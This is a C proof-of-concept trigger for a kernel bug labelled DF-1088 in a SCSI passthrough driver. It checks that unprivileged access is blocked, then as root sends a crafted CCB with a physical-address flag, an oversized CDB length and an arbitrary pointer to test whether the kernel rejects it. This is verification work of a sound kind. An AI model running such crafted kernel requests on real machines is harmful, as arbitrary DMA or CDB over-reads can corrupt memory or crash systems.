/*
 * DF-1088 trigger — demonstrates the access control AND the bug shape.
 *
 * The bug itself (passsendccb not stripping CAM_DATA_PHYS / not clamping
 * cdb_len) is gated behind caps_priv_check_self(SYSCAP_RESTRICTEDROOT) in
 * passopen (scsi_pass.c:308).  This program:
 *
 *   1. As an unprivileged user, attempts to open /dev/pass0.  The kernel
 *      rejects with EPERM via the RESTRICTEDROOT cap check (this confirms
 *      the trigger requires privilege — the bug is real but the
 *      unprivileged privesc claim is gated by an already-privileged
 *      capability).
 *
 *   2. As root, demonstrates that an XPT_SCSI_IO CCB with CAM_DATA_PHYS set
 *      and a cdb_len of 255 is accepted by CAMIOCOMMAND on the unpatched
 *      kernel (the SIM would then be handed the attacker physical pointer
 *      and over-read the CDB array).  This is the bug signature.
 *
 * On a kernel with the DF-1088 fix applied, the same CCB returns EINVAL
 * immediately from passsendccb.
 *
 * Build: cc -o df1088_trigger df1088_trigger.c
 * Run:   ./df1088_trigger           # as unprivileged user
 *        sudo ./df1088_trigger      # as root, demonstrates the CCB shape
 */
#include <sys/types.h>
#include <sys/ioctl.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>

#include <bus/cam/cam.h>
#include <bus/cam/cam_ccb.h>
#include <bus/cam/scsi/scsi_pass.h>

int
main(int argc, char **argv)
{
	int fd, rc;
	union ccb ccb;

	/* Step 1: prove the unprivileged path is blocked. */
	fd = open("/dev/pass0", O_RDWR);
	if (fd < 0) {
		printf("[unpriv] open /dev/pass0: %s (errno=%d)\n",
		    strerror(errno), errno);
		if (errno == EPERM || errno == EACCES) {
			printf("[unpriv] pass%d access denied at %s -- "
			    "DF-1088 trigger is privilege-gated\n",
			    0, errno == EACCES ? "devfs (mode 0600)" :
			    "caps (RESTRICTEDROOT)");
			if (geteuid() != 0) {
				printf("[unpriv] re-run as root to exercise the "
				    "CCB-shape signature via CAMIOCOMMAND\n");
				return (0);
			}
		} else {
			return (0);
		}
	} else {
		printf("[unpriv] open /dev/pass0: SUCCEEDED (fd=%d) -- "
		    "unexpected\n", fd);
	}

	/* Step 2 (root only): craft the malicious CCB shape. */
	memset(&ccb, 0, sizeof(ccb));
	ccb.ccb_h.func_code = XPT_SCSI_IO;
	ccb.ccb_h.flags = CAM_DIR_IN | CAM_DATA_PHYS; /* the bug */
	ccb.csio.cdb_len = 255; /* also the bug — over-read cdb_bytes[16] */
	ccb.csio.data_ptr = (u_int8_t *)0xdeadbeef; /* would-be DMA target */
	ccb.csio.dxfer_len = 512;

	rc = ioctl(fd, CAMIOCOMMAND, &ccb);
	printf("[root] CAMIOCOMMAND CAM_DATA_PHYS|cdb_len=255: rc=%d errno=%d (%s)\n",
	    rc, errno, strerror(errno));
	if (rc == 0 || (rc < 0 && errno != EINVAL)) {
		printf("[root] BUG: kernel forwarded attacker physical pointer "
		    "to SIM without rejection (DF-1088 present)\n");
	} else if (rc < 0 && errno == EINVAL) {
		printf("[root] FIXED: kernel rejected dangerous CCB flags "
		    "(DF-1088 patch present)\n");
	}
	close(fd);
	return (0);
}
